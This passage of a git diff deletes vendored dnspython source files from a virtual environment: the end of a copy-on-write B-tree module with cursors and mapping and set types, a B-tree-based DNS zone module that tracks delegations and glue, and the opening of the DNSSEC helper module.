elif self.is_leaf: - return (None, 0) - else: - child = self.maybe_cow_child(i) - return child._get_node(key) - - def get(self, key: KT) -> ET | None: - """Get the element associated with *key* or return ``None``""" - i, equal = self.search_in_node(key) - if equal: - return self.elts[i] - elif self.is_leaf: - return None - else: - return self.children[i].get(key) - - def optimize_in_order_insertion(self, index: int) -> None: - """Try to minimize the number of Nodes in a BTree where the insertion - is done in-order or close to it, by stealing as much as we can from our - right sibling. - - If we don't do this, then an in-order insertion will produce a BTree - where most of the nodes are minimal. - """ - if index == 0: - return - left = self.children[index - 1] - if len(left.elts) == _MAX(self.t): - return - left = self.maybe_cow_child(index - 1) - while len(left.elts) < _MAX(self.t): - if not left.try_right_steal(self, index - 1): - break - - def insert_nonfull(self, element: ET, in_order: bool) -> ET | None: - assert not self.is_maximal() - while True: - key = element.key() - i, equal = self.search_in_node(key) - if equal: - # replace - old = self.elts[i] - self.elts[i] = element - return old - elif self.is_leaf: - self.elts.insert(i, element) - return None - else: - child = self.maybe_cow_child(i) - if child.is_maximal(): - self.adopt(*child.split()) - # Splitting might result in our target moving to us, so - # search again. - continue - oelt = child.insert_nonfull(element, in_order) - if in_order: - self.optimize_in_order_insertion(i) - return oelt - - def split(self) -> tuple["_Node[KT, ET]", ET, "_Node[KT, ET]"]: - """Split a maximal node into two minimal ones and a central element.""" - assert self.is_maximal() - right = self.__class__(self.t, self.creator, self.is_leaf) - right.elts = list(self.elts[_MIN(self.t) + 1 :]) - middle = self.elts[_MIN(self.t)] - self.elts = list(self.elts[: _MIN(self.t)]) - if not self.is_leaf: - right.children = list(self.children[_MIN(self.t) + 1 :]) - self.children = list(self.children[: _MIN(self.t) + 1]) - return self, middle, right - - def try_left_steal(self, parent: "_Node[KT, ET]", index: int) -> bool: - """Try to steal from this Node's left sibling for balancing purposes. - - Returns ``True`` if the theft was successful, or ``False`` if not. - """ - if index != 0: - left = parent.children[index - 1] - if not left.is_minimal(): - left = parent.maybe_cow_child(index - 1) - elt = parent.elts[index - 1] - parent.elts[index - 1] = left.elts.pop() - self.elts.insert(0, elt) - if not left.is_leaf: - assert not self.is_leaf - child = left.children.pop() - self.children.insert(0, child) - return True - return False - - def try_right_steal(self, parent: "_Node[KT, ET]", index: int) -> bool: - """Try to steal from this Node's right sibling for balancing purposes. - - Returns ``True`` if the theft was successful, or ``False`` if not. - """ - if index + 1 < len(parent.children): - right = parent.children[index + 1] - if not right.is_minimal(): - right = parent.maybe_cow_child(index + 1) - elt = parent.elts[index] - parent.elts[index] = right.elts.pop(0) - self.elts.append(elt) - if not right.is_leaf: - assert not self.is_leaf - child = right.children.pop(0) - self.children.append(child) - return True - return False - - def adopt(self, left: "_Node[KT, ET]", middle: ET, right: "_Node[KT, ET]") -> None: - """Adopt left, middle, and right into our Node (which must not be maximal, - and which must not be a leaf). In the case were we are not the new root, - then the left child must already be in the Node.""" - assert not self.is_maximal() - assert not self.is_leaf - key = middle.key() - i, equal = self.search_in_node(key) - assert not equal - self.elts.insert(i, middle) - if len(self.children) == 0: - # We are the new root - self.children = [left, right] - else: - assert self.children[i] == left - self.children.insert(i + 1, right) - - def merge(self, parent: "_Node[KT, ET]", index: int) -> None: - """Merge this node's parent and its right sibling into this node.""" - right = parent.children.pop(index + 1) - self.elts.append(parent.elts.pop(index)) - self.elts.extend(right.elts) - if not self.is_leaf: - self.children.extend(right.children) - - def minimum(self) -> ET: - """The least element in this subtree.""" - if self.is_leaf: - return self.elts[0] - else: - return self.children[0].minimum() - - def maximum(self) -> ET: - """The greatest element in this subtree.""" - if self.is_leaf: - return self.elts[-1] - else: - return self.children[-1].maximum() - - def balance(self, parent: "_Node[KT, ET]", index: int) -> None: - """This Node is minimal, and we want to make it non-minimal so we can delete. - We try to steal from our siblings, and if that doesn't work we will merge - with one of them.""" - assert not parent.is_leaf - if self.try_left_steal(parent, index): - return - if self.try_right_steal(parent, index): - return - # Stealing didn't work, so both siblings must be minimal. - if index == 0: - # We are the left-most node so merge with our right sibling. - self.merge(parent, index) - else: - # Have our left sibling merge with us. This lets us only have "merge right" - # code. - left = parent.maybe_cow_child(index - 1) - left.merge(parent, index - 1) - - def delete( - self, key: KT, parent: Optional["_Node[KT, ET]"], exact: ET | None - ) -> ET | None: - """Delete an element matching *key* if it exists. If *exact* is not ``None`` - then it must be an exact match with that element. The Node must not be - minimal unless it is the root.""" - assert parent is None or not self.is_minimal() - i, equal = self.search_in_node(key) - original_key = None - if equal: - # Note we use "is" here as we meant "exactly this object". - if exact is not None and self.elts[i] is not exact: - raise ValueError("exact delete did not match existing elt") - if self.is_leaf: - return self.elts.pop(i) - # Note we need to ensure exact is None going forward as we've - # already checked exactness and are about to change our target key - # to the least successor. - exact = None - original_key = key - least_successor = self.children[i + 1].minimum() - key = least_successor.key() - i = i + 1 - if self.is_leaf: - # No match - if exact is not None: - raise ValueError("exact delete had no match") - return None - # recursively delete in the appropriate child - child = self.maybe_cow_child(i) - if child.is_minimal(): - child.balance(self, i) - # Things may have moved. - i, equal = self.search_in_node(key) - assert not equal - child = self.children[i] - assert not child.is_minimal() - elt = child.delete(key, self, exact) - if original_key is not None: - node, i = self._get_node(original_key) - assert node is not None - assert elt is not None - oelt = node.elts[i] - node.elts[i] = elt - elt = oelt - return elt - - def visit_in_order(self, visit: Callable[[ET], None]) -> None: - """Call *visit* on all of the elements in order.""" - for i, elt in enumerate(self.elts): - if not self.is_leaf: - self.children[i].visit_in_order(visit) - visit(elt) - if not self.is_leaf: - self.children[-1].visit_in_order(visit) - - def _visit_preorder_by_node(self, visit: Callable[["_Node[KT, ET]"], None]) -> None: - """Visit nodes in preorder. This method is only used for testing.""" - visit(self) - if not self.is_leaf: - for child in self.children: - child._visit_preorder_by_node(visit) - - def maybe_cow(self, creator: _Creator) -> Optional["_Node[KT, ET]"]: - """Return a clone of this Node if it was not created by *creator*, or ``None`` - otherwise (i.e. copy for copy-on-write if we haven't already copied it).""" - if self.creator is not creator: - return self.clone(creator) - else: - return None - - def clone(self, creator: _Creator) -> "_Node[KT, ET]": - """Make a shallow-copy duplicate of this node.""" - cloned = self.__class__(self.t, creator, self.is_leaf) - cloned.elts.extend(self.elts) - if not self.is_leaf: - cloned.children.extend(self.children) - return cloned - - def __str__(self): # pragma: no cover - if not self.is_leaf: - children = " " + " ".join([f"{id(c):x}" for c in self.children]) - else: - children = "" - return f"{id(self):x} {self.creator} {self.elts}{children}" - - -class Cursor(Generic[KT, ET]): - """A seekable cursor for a BTree. - - If you are going to use a cursor on a mutable BTree, you should use it - in a ``with`` block so that any mutations of the BTree automatically park - the cursor. - """ - - def __init__(self, btree: "BTree[KT, ET]"): - self.btree = btree - self.current_node: _Node | None = None - # The current index is the element index within the current node, or - # if there is no current node then it is 0 on the left boundary and 1 - # on the right boundary. - self.current_index: int = 0 - self.recurse = False - self.increasing = True - self.parents: list[tuple[_Node, int]] = [] - self.parked = False - self.parking_key: KT | None = None - self.parking_key_read = False - - def _seek_least(self) -> None: - # seek to the least value in the subtree beneath the current index of the - # current node - assert self.current_node is not None - while not self.current_node.is_leaf: - self.parents.append((self.current_node, self.current_index)) - self.current_node = self.current_node.children[self.current_index] - assert self.current_node is not None - self.current_index = 0 - - def _seek_greatest(self) -> None: - # seek to the greatest value in the subtree beneath the current index of the - # current node - assert self.current_node is not None - while not self.current_node.is_leaf: - self.parents.append((self.current_node, self.current_index)) - self.current_node = self.current_node.children[self.current_index] - assert self.current_node is not None - self.current_index = len(self.current_node.elts) - - def park(self): - """Park the cursor. - - A cursor must be "parked" before mutating the BTree to avoid undefined behavior. - Cursors created in a ``with`` block register with their BTree and will park - automatically. Note that a parked cursor may not observe some changes made when - it is parked; for example a cursor being iterated with next() will not see items - inserted before its current position. - """ - if not self.parked: - self.parked = True - - def _maybe_unpark(self): - if self.parked: - if self.parking_key is not None: - # remember our increasing hint, as seeking might change it - increasing = self.increasing - if self.parking_key_read: - # We've already returned the parking key, so we want to be before it - # if decreasing and after it if increasing. - before = not self.increasing - else: - # We haven't returned the parking key, so we've parked right - # after seeking or are on a boundary. Either way, the before - # hint we want is the value of self.increasing. - before = self.increasing - self.seek(self.parking_key, before) - self.increasing = increasing # might have been altered by seek() - self.parked = False - self.parking_key = None - - def prev(self) -> ET | None: - """Get the previous element, or return None if on the left boundary.""" - self._maybe_unpark() - self.parking_key = None - if self.current_node is None: - # on a boundary - if self.current_index == 0: - # left boundary, there is no prev - return None - else: - assert self.current_index == 1 - # right boundary; seek to the actual boundary - # so we can do a prev() - self.current_node = self.btree.root - self.current_index = len(self.btree.root.elts) - self._seek_greatest() - while True: - if self.recurse: - if not self.increasing: - # We only want to recurse if we are continuing in the decreasing - # direction. - self._seek_greatest() - self.recurse = False - self.increasing = False - self.current_index -= 1 - if self.current_index >= 0: - elt = self.current_node.elts[self.current_index] - if not self.current_node.is_leaf: - self.recurse = True - self.parking_key = elt.key() - self.parking_key_read = True - return elt - else: - if len(self.parents) > 0: - self.current_node, self.current_index = self.parents.pop() - else: - self.current_node = None - self.current_index = 0 - return None - - def next(self) -> ET | None: - """Get the next element, or return None if on the right boundary.""" - self._maybe_unpark() - self.parking_key = None - if self.current_node is None: - # on a boundary - if self.current_index == 1: - # right boundary, there is no next - return None - else: - assert self.current_index == 0 - # left boundary; seek to the actual boundary - # so we can do a next() - self.current_node = self.btree.root - self.current_index = 0 - self._seek_least() - while True: - if self.recurse: - if self.increasing: - # We only want to recurse if we are continuing in the increasing - # direction. - self._seek_least() - self.recurse = False - self.increasing = True - if self.current_index < len(self.current_node.elts): - elt = self.current_node.elts[self.current_index] - self.current_index += 1 - if not self.current_node.is_leaf: - self.recurse = True - self.parking_key = elt.key() - self.parking_key_read = True - return elt - else: - if len(self.parents) > 0: - self.current_node, self.current_index = self.parents.pop() - else: - self.current_node = None - self.current_index = 1 - return None - - def _adjust_for_before(self, before: bool, i: int) -> None: - if before: - self.current_index = i - else: - self.current_index = i + 1 - - def seek(self, key: KT, before: bool = True) -> None: - """Seek to the specified key. - - If *before* is ``True`` (the default) then the cursor is positioned just - before *key* if it exists, or before its least successor if it doesn't. A - subsequent next() will retrieve this value. If *before* is ``False``, then - the cursor is positioned just after *key* if it exists, or its greatest - precessessor if it doesn't. A subsequent prev() will return this value. - """ - self.current_node = self.btree.root - assert self.current_node is not None - self.recurse = False - self.parents = [] - self.increasing = before - self.parked = False - self.parking_key = key - self.parking_key_read = False - while not self.current_node.is_leaf: - i, equal = self.current_node.search_in_node(key) - if equal: - self._adjust_for_before(before, i) - if before: - self._seek_greatest() - else: - self._seek_least() - return - self.parents.append((self.current_node, i)) - self.current_node = self.current_node.children[i] - assert self.current_node is not None - i, equal = self.current_node.search_in_node(key) - if equal: - self._adjust_for_before(before, i) - else: - self.current_index = i - - def seek_first(self) -> None: - """Seek to the left boundary (i.e. just before the least element). - - A subsequent next() will return the least element if the BTree isn't empty.""" - self.current_node = None - self.current_index = 0 - self.recurse = False - self.increasing = True - self.parents = [] - self.parked = False - self.parking_key = None - - def seek_last(self) -> None: - """Seek to the right boundary (i.e. just after the greatest element). - - A subsequent prev() will return the greatest element if the BTree isn't empty. - """ - self.current_node = None - self.current_index = 1 - self.recurse = False - self.increasing = False - self.parents = [] - self.parked = False - self.parking_key = None - - def __enter__(self): - self.btree.register_cursor(self) - return self - - def __exit__(self, exc_type, exc_value, traceback): - self.btree.deregister_cursor(self) - return False - - -class Immutable(Exception): - """The BTree is immutable.""" - - -class BTree(Generic[KT, ET]): - """An in-memory BTree with copy-on-write and cursors.""" - - def __init__(self, *, t: int = DEFAULT_T, original: Optional["BTree"] = None): - """Create a BTree. - - If *original* is not ``None``, then the BTree is shallow-cloned from - *original* using copy-on-write. Otherwise a new BTree with the specified - *t* value is created. - - The BTree is not thread-safe. - """ - # We don't use a reference to ourselves as a creator as we don't want - # to prevent GC of old btrees. - self.creator = _Creator() - self._immutable = False - self.t: int - self.root: _Node - self.size: int - self.cursors: set[Cursor] = set() - if original is not None: - if not original._immutable: - raise ValueError("original BTree is not immutable") - self.t = original.t - self.root = original.root - self.size = original.size - else: - if t < 3: - raise ValueError("t must be >= 3") - self.t = t - self.root = _Node(self.t, self.creator, True) - self.size = 0 - - def make_immutable(self): - """Make the BTree immutable. - - Attempts to alter the BTree after making it immutable will raise an - Immutable exception. This operation cannot be undone. - """ - if not self._immutable: - self._immutable = True - - def _check_mutable_and_park(self) -> None: - if self._immutable: - raise Immutable - for cursor in self.cursors: - cursor.park() - - # Note that we don't use insert() and delete() but rather insert_element() and - # delete_key() so that BTreeDict can be a proper MutableMapping and supply the - # rest of the standard mapping API. - - def insert_element(self, elt: ET, in_order: bool = False) -> ET | None: - """Insert the element into the BTree. - - If *in_order* is ``True``, then extra work will be done to make left siblings - full, which optimizes storage space when the the elements are inserted in-order - or close to it. - - Returns the previously existing element at the element's key or ``None``. - """ - self._check_mutable_and_park() - cloned = self.root.maybe_cow(self.creator) - if cloned: - self.root = cloned - if self.root.is_maximal(): - old_root = self.root - self.root = _Node(self.t, self.creator, False) - self.root.adopt(*old_root.split()) - oelt = self.root.insert_nonfull(elt, in_order) - if oelt is None: - # We did not replace, so something was added. - self.size += 1 - return oelt - - def get_element(self, key: KT) -> ET | None: - """Get the element matching *key* from the BTree, or return ``None`` if it - does not exist. - """ - return self.root.get(key) - - def _delete(self, key: KT, exact: ET | None) -> ET | None: - self._check_mutable_and_park() - cloned = self.root.maybe_cow(self.creator) - if cloned: - self.root = cloned - elt = self.root.delete(key, None, exact) - if elt is not None: - # We deleted something - self.size -= 1 - if len(self.root.elts) == 0: - # The root is now empty. If there is a child, then collapse this root - # level and make the child the new root. - if not self.root.is_leaf: - assert len(self.root.children) == 1 - self.root = self.root.children[0] - return elt - - def delete_key(self, key: KT) -> ET | None: - """Delete the element matching *key* from the BTree. - - Returns the matching element or ``None`` if it does not exist. - """ - return self._delete(key, None) - - def delete_exact(self, element: ET) -> ET | None: - """Delete *element* from the BTree. - - Returns the matching element or ``None`` if it was not in the BTree. - """ - delt = self._delete(element.key(), element) - assert delt is element - return delt - - def __len__(self): - return self.size - - def visit_in_order(self, visit: Callable[[ET], None]) -> None: - """Call *visit*(element) on all elements in the tree in sorted order.""" - self.root.visit_in_order(visit) - - def _visit_preorder_by_node(self, visit: Callable[[_Node], None]) -> None: - self.root._visit_preorder_by_node(visit) - - def cursor(self) -> Cursor[KT, ET]: - """Create a cursor.""" - return Cursor(self) - - def register_cursor(self, cursor: Cursor) -> None: - """Register a cursor for the automatic parking service.""" - self.cursors.add(cursor) - - def deregister_cursor(self, cursor: Cursor) -> None: - """Deregister a cursor from the automatic parking service.""" - self.cursors.discard(cursor) - - def __copy__(self): - return self.__class__(original=self) - - def __iter__(self): - with self.cursor() as cursor: - while True: - elt = cursor.next() - if elt is None: - break - yield elt.key() - - -VT = TypeVar("VT") # the type of a value in a BTreeDict - - -class KV(Element, Generic[KT, VT]): - """The BTree element type used in a ``BTreeDict``.""" - - def __init__(self, key: KT, value: VT): - self._key = key - self._value = value - - def key(self) -> KT: - return self._key - - def value(self) -> VT: - return self._value - - def __str__(self): # pragma: no cover - return f"KV({self._key}, {self._value})" - - def __repr__(self): # pragma: no cover - return f"KV({self._key}, {self._value})" - - -class BTreeDict(Generic[KT, VT], BTree[KT, KV[KT, VT]], MutableMapping[KT, VT]): - """A MutableMapping implemented with a BTree. - - Unlike a normal Python dict, the BTreeDict may be mutated while iterating. - """ - - def __init__( - self, - *, - t: int = DEFAULT_T, - original: BTree | None = None, - in_order: bool = False, - ): - super().__init__(t=t, original=original) - self.in_order = in_order - - def __getitem__(self, key: KT) -> VT: - elt = self.get_element(key) - if elt is None: - raise KeyError - else: - return cast(KV, elt).value() - - def __setitem__(self, key: KT, value: VT) -> None: - elt = KV(key, value) - self.insert_element(elt, self.in_order) - - def __delitem__(self, key: KT) -> None: - if self.delete_key(key) is None: - raise KeyError - - -class Member(Element, Generic[KT]): - """The BTree element type used in a ``BTreeSet``.""" - - def __init__(self, key: KT): - self._key = key - - def key(self) -> KT: - return self._key - - -class BTreeSet(BTree, Generic[KT], MutableSet[KT]): - """A MutableSet implemented with a BTree. - - Unlike a normal Python set, the BTreeSet may be mutated while iterating. - """ - - def __init__( - self, - *, - t: int = DEFAULT_T, - original: BTree | None = None, - in_order: bool = False, - ): - super().__init__(t=t, original=original) - self.in_order = in_order - - def __contains__(self, key: Any) -> bool: - return self.get_element(key) is not None - - def add(self, value: KT) -> None: - elt = Member(value) - self.insert_element(elt, self.in_order) - - def discard(self, value: KT) -> None: - self.delete_key(value) diff --git a/venv/Lib/site-packages/dns/btreezone.py b/venv/Lib/site-packages/dns/btreezone.py deleted file mode 100644 index 27b5bb6febdb1472d211d36a551d6043748fde91..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/btreezone.py +++ /dev/null @@ -1,367 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# A derivative of a dnspython VersionedZone and related classes, using a BTreeDict and -# a separate per-version delegation index. These additions let us -# -# 1) Do efficient CoW versioning (useful for future online updates). -# 2) Maintain sort order -# 3) Allow delegations to be found easily -# 4) Handle glue -# 5) Add Node flags ORIGIN, DELEGATION, and GLUE whenever relevant. The ORIGIN -# flag is set at the origin node, the DELEGATION FLAG is set at delegation -# points, and the GLUE flag is set on nodes beneath delegation points. - -import enum -from dataclasses import dataclass -from typing import Callable, MutableMapping, Tuple, cast - -import dns.btree -import dns.immutable -import dns.name -import dns.node -import dns.rdataclass -import dns.rdataset -import dns.rdatatype -import dns.versioned -import dns.zone - - -class NodeFlags(enum.IntFlag): - ORIGIN = 0x01 - DELEGATION = 0x02 - GLUE = 0x04 - - -class Node(dns.node.Node): - __slots__ = ["flags", "id"] - - def __init__(self, flags: NodeFlags | None = None): - super().__init__() - if flags is None: - # We allow optional flags rather than a default - # as pyright doesn't like assigning a literal 0 - # to flags. - flags = NodeFlags(0) - self.flags = flags - self.id = 0 - - def is_delegation(self): - return (self.flags & NodeFlags.DELEGATION) != 0 - - def is_glue(self): - return (self.flags & NodeFlags.GLUE) != 0 - - def is_origin(self): - return (self.flags & NodeFlags.ORIGIN) != 0 - - def is_origin_or_glue(self): - return (self.flags & (NodeFlags.ORIGIN | NodeFlags.GLUE)) != 0 - - -@dns.immutable.immutable -class ImmutableNode(Node): - def __init__(self, node: Node): - super().__init__() - self.id = node.id - self.rdatasets = tuple( # type: ignore - [dns.rdataset.ImmutableRdataset(rds) for rds in node.rdatasets] - ) - self.flags = node.flags - - def find_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset: - if create: - raise TypeError("immutable") - return super().find_rdataset(rdclass, rdtype, covers, False) - - def get_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset | None: - if create: - raise TypeError("immutable") - return super().get_rdataset(rdclass, rdtype, covers, False) - - def delete_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - ) -> None: - raise TypeError("immutable") - - def replace_rdataset(self, replacement: dns.rdataset.Rdataset) -> None: - raise TypeError("immutable") - - def is_immutable(self) -> bool: - return True - - -class Delegations(dns.btree.BTreeSet[dns.name.Name]): - def get_delegation(self, name: dns.name.Name) -> Tuple[dns.name.Name | None, bool]: - """Get the delegation applicable to *name*, if it exists. - - If there delegation, then return a tuple consisting of the name of - the delegation point, and a boolean which is `True` if the name is a proper - subdomain of the delegation point, and `False` if it is equal to the delegation - point. - """ - cursor = self.cursor() - cursor.seek(name, before=False) - prev = cursor.prev() - if prev is None: - return None, False - cut = prev.key() - reln, _, _ = name.fullcompare(cut) - is_subdomain = reln == dns.name.NameRelation.SUBDOMAIN - if is_subdomain or reln == dns.name.NameRelation.EQUAL: - return cut, is_subdomain - else: - return None, False - - def is_glue(self, name: dns.name.Name) -> bool: - """Is *name* glue, i.e. is it beneath a delegation?""" - cursor = self.cursor() - cursor.seek(name, before=False) - cut, is_subdomain = self.get_delegation(name) - if cut is None: - return False - return is_subdomain - - -class WritableVersion(dns.zone.WritableVersion): - def __init__(self, zone: dns.zone.Zone, replacement: bool = False): - super().__init__(zone, True) - if not replacement: - assert isinstance(zone, dns.versioned.Zone) - version = zone._versions[-1] - self.nodes: dns.btree.BTreeDict[dns.name.Name, Node] = dns.btree.BTreeDict( - original=version.nodes # type: ignore - ) - self.delegations = Delegations(original=version.delegations) # type: ignore - else: - self.delegations = Delegations() - - def _is_origin(self, name: dns.name.Name) -> bool: - # Assumes name has already been validated (and thus adjusted to the right - # relativity too) - if self.zone.relativize: - return name == dns.name.empty - else: - return name == self.zone.origin - - def _maybe_cow_with_name( - self, name: dns.name.Name - ) -> Tuple[dns.node.Node, dns.name.Name]: - (node, name) = super()._maybe_cow_with_name(name) - node = cast(Node, node) - if self._is_origin(name): - node.flags |= NodeFlags.ORIGIN - elif self.delegations.is_glue(name): - node.flags |= NodeFlags.GLUE - return (node, name) - - def update_glue_flag(self, name: dns.name.Name, is_glue: bool) -> None: - cursor = self.nodes.cursor() # type: ignore - cursor.seek(name, False) - updates = [] - while True: - elt = cursor.next() - if elt is None: - break - ename = elt.key() - if not ename.is_subdomain(name): - break - node = cast(dns.node.Node, elt.value()) - if ename not in self.changed: - new_node = self.zone.node_factory() - new_node.id = self.id # type: ignore - new_node.rdatasets.extend(node.rdatasets) - self.changed.add(ename) - node = new_node - assert isinstance(node, Node) - if is_glue: - node.flags |= NodeFlags.GLUE - else: - node.flags &= ~NodeFlags.GLUE - # We don't update node here as any insertion could disturb the - # btree and invalidate our cursor. We could use the cursor in a - # with block and avoid this, but it would do a lot of parking and - # unparking so the deferred update mode may still be better. - updates.append((ename, node)) - for ename, node in updates: - self.nodes[ename] = node - - def delete_node(self, name: dns.name.Name) -> None: - name = self._validate_name(name) - node = self.nodes.get(name) - if node is not None: - if node.is_delegation(): # type: ignore - self.delegations.discard(name) - self.update_glue_flag(name, False) - del self.nodes[name] - self.changed.add(name) - - def put_rdataset( - self, name: dns.name.Name, rdataset: dns.rdataset.Rdataset - ) -> None: - (node, name) = self._maybe_cow_with_name(name) - if ( - rdataset.rdtype == dns.rdatatype.NS and not node.is_origin_or_glue() # type: ignore - ): - node.flags |= NodeFlags.DELEGATION # type: ignore - if name not in self.delegations: - self.delegations.add(name) - self.update_glue_flag(name, True) - node.replace_rdataset(rdataset) - - def delete_rdataset( - self, - name: dns.name.Name, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType, - ) -> None: - (node, name) = self._maybe_cow_with_name(name) - if rdtype == dns.rdatatype.NS and name in self.delegations: # type: ignore - node.flags &= ~NodeFlags.DELEGATION # type: ignore - self.delegations.discard(name) # type: ignore - self.update_glue_flag(name, False) - node.delete_rdataset(self.zone.rdclass, rdtype, covers) - if len(node) == 0: - del self.nodes[name] - - -@dataclass(frozen=True) -class Bounds: - name: dns.name.Name - left: dns.name.Name - right: dns.name.Name | None - closest_encloser: dns.name.Name - is_equal: bool - is_delegation: bool - - def __str__(self): - if self.is_equal: - op = "=" - else: - op = "<" - if self.is_delegation: - zonecut = " zonecut" - else: - zonecut = "" - return ( - f"{self.left} {op} {self.name} < {self.right}{zonecut}; " - f"{self.closest_encloser}" - ) - - -@dns.immutable.immutable -class ImmutableVersion(dns.zone.Version): - def __init__(self, version: dns.zone.Version): - if not isinstance(version, WritableVersion): - raise ValueError( - "a dns.btreezone.ImmutableVersion requires a " - "dns.btreezone.WritableVersion" - ) - super().__init__(version.zone, True) - self.id = version.id - self.origin = version.origin - for name in version.changed: - node = version.nodes.get(name) - if node: - version.nodes[name] = ImmutableNode(node) - # the cast below is for mypy - self.nodes = cast(MutableMapping[dns.name.Name, dns.node.Node], version.nodes) - self.nodes.make_immutable() # type: ignore - self.delegations = version.delegations - self.delegations.make_immutable() - - def bounds(self, name: dns.name.Name | str) -> Bounds: - """Return the 'bounds' of *name* in its zone. - - The bounds information is useful when making an authoritative response, as - it can be used to determine whether the query name is at or beneath a delegation - point. The other data in the ``Bounds`` object is useful for making on-the-fly - DNSSEC signatures. - - The left bound of *name* is *name* itself if it is in the zone, or the greatest - predecessor which is in the zone. - - The right bound of *name* is the least successor of *name*, or ``None`` if - no name in the zone is greater than *name*. - - The closest encloser of *name* is *name* itself, if *name* is in the zone; - otherwise it is the name with the largest number of labels in common with - *name* that is in the zone, either explicitly or by the implied existence - of empty non-terminals. - - The bounds *is_equal* field is ``True`` if and only if *name* is equal to - its left bound. - - The bounds *is_delegation* field is ``True`` if and only if the left bound is a - delegation point. - """ - assert self.origin is not None - # validate the origin because we may need to relativize - origin = self.zone._validate_name(self.origin) - name = self.zone._validate_name(name) - cut, _ = self.delegations.get_delegation(name) - if cut is not None: - target = cut - is_delegation = True - else: - target = name - is_delegation = False - c = cast(dns.btree.BTreeDict, self.nodes).cursor() - c.seek(target, False) - left = c.prev() - assert left is not None - c.next() # skip over left - while True: - right = c.next() - if right is None or not right.value().is_glue(): - break - left_comparison = left.key().fullcompare(name) - if right is not None: - right_key = right.key() - right_comparison = right_key.fullcompare(name) - else: - right_comparison = ( - dns.name.NAMERELN_COMMONANCESTOR, - -1, - len(origin), - ) - right_key = None - closest_encloser = dns.name.Name( - name[-max(left_comparison[2], right_comparison[2]) :] - ) - return Bounds( - name, - left.key(), - right_key, - closest_encloser, - left_comparison[0] == dns.name.NameRelation.EQUAL, - is_delegation, - ) - - -class Zone(dns.versioned.Zone): - node_factory: Callable[[], dns.node.Node] = Node - map_factory: Callable[[], MutableMapping[dns.name.Name, dns.node.Node]] = cast( - Callable[[], MutableMapping[dns.name.Name, dns.node.Node]], - dns.btree.BTreeDict[dns.name.Name, Node], - ) - writable_version_factory: ( - Callable[[dns.zone.Zone, bool], dns.zone.Version] | None - ) = WritableVersion - immutable_version_factory: Callable[[dns.zone.Version], dns.zone.Version] | None = ( - ImmutableVersion - ) diff --git a/venv/Lib/site-packages/dns/dnssec.py b/venv/Lib/site-packages/dns/dnssec.py deleted file mode 100644 index 0b2aa709791a786db1778cecb4b4a5ced56559d2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/dnssec.py +++ /dev/null @@ -1,1242 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Common DNSSEC-related functions and constants.""" - -# pylint: disable=unused-import - -import base64 -import contextlib -import functools -import hashlib -import struct -import time -from datetime import datetime -from typing import Callable, Dict, List, Set, Tuple, Union, cast - -import dns._features -import dns.name -import dns.node -import dns.rdata -import dns.rdataclass -import dns.rdataset -import dns.rdatatype -import dns.rrset -import dns.transaction -import dns.zone -from dns.dnssectypes import Algorithm, DSDigest, NSEC3Hash -from dns.exception import AlgorithmKeyMismatch as AlgorithmKeyMismatch -from dns.exception import DeniedByPolicy, UnsupportedAlgorithm, ValidationFailure -from dns.rdtypes.ANY.CDNSKEY import CDNSKEY -from dns.rdtypes.ANY.CDS import CDS -from dns.rdtypes.ANY.DNSKEY import DNSKEY -from dns.rdtypes.ANY.DS import DS -from dns.rdtypes.ANY.NSEC import NSEC, Bitmap -from dns.rdtypes.ANY.NSEC3PARAM import NSEC3PARAM -from dns.rdtypes.ANY.RRSIG import RRSIG, sigtime_to_posixtime -from dns.rdtypes.dnskeybase import Flag - -PublicKey = Union[ - "GenericPublicKey", - "rsa.RSAPublicKey", - "ec.EllipticCurvePublicKey", - "ed25519.Ed25519PublicKey", - "ed448.Ed448PublicKey", -] - -PrivateKey = Union[ - "GenericPrivateKey", - "rsa.RSAPrivateKey", - "ec.EllipticCurvePrivateKey", - "ed25519.Ed25519PrivateKey", - "ed448.Ed448PrivateKey", -] - -RRsetSigner = Callable[[dns.transaction.Transaction, dns.rrset.RRset], None] - - -def algorithm_from_text(text: str) -> Algorithm: - """Convert text into a DNSSEC algorithm value. - - *text*, a ``str``, the text to convert to into an algorithm value. - - Returns an ``int``. - """ - - return Algorithm.from_text(text) - - -def algorithm_to_text(value: Algorithm | int) -> str: - """Convert a DNSSEC algorithm value to text - - *value*, a ``dns.dnssec.Algorithm``. - - Returns a ``str``, the name of a DNSSEC algorithm. - """ - - return Algorithm.to_text(value) - - -def to_timestamp(value: datetime | str | float | int) -> int: - """Convert various format to a timestamp""" - if isinstance(value, datetime): - return int(value.timestamp()) - elif isinstance(value, str): - return sigtime_to_posixtime(value) - elif isinstance(value, float): - return int(value) - elif isinstance(value, int): - return value - else: - raise TypeError("Unsupported timestamp type") - - -def key_id(key: DNSKEY | CDNSKEY) -> int: - """Return the key id (a 16-bit number) for the specified key. - - *key*, 